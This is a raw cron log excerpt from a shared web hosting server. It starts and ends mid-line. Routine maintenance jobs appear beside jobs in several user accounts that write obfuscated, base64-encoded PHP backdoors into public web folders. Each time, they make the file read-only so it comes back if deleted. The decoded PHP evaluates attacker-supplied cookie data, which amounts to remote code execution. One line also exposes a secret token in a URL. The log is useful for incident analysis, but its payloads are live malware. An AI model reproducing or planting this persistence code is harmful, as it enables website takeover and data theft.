CRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:22:01 medusa CROND[2276]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:22:01 medusa CROND[2383]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:22:01 medusa CROND[2384]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:22:01 medusa CROND[2385]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 07:22:01 medusa CROND[2388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:22:01 medusa CROND[2392]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:22:01 medusa CROND[2394]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 07:22:01 medusa CROND[2395]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:22:01 medusa CROND[2396]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:22:01 medusa CROND[2397]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:22:01 medusa CROND[2398]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:22:01 medusa CROND[2399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:22:01 medusa CROND[2406]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:22:01 medusa CROND[2407]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:23:01 medusa CROND[27339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:23:01 medusa CROND[27340]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:23:01 medusa CROND[27338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:23:01 medusa CROND[27342]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:23:01 medusa CROND[27341]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:23:01 medusa CROND[27343]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:23:01 medusa CROND[27344]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:23:01 medusa CROND[27345]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:23:01 medusa CROND[27346]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:23:01 medusa CROND[27347]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:23:01 medusa CROND[27349]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:23:01 medusa CROND[27354]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:24:01 medusa CROND[18898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:24:02 medusa CROND[18981]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:24:02 medusa CROND[18983]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:24:02 medusa CROND[18984]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:24:02 medusa CROND[18985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:24:02 medusa CROND[18988]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:24:02 medusa CROND[18996]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:24:02 medusa CROND[18997]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRf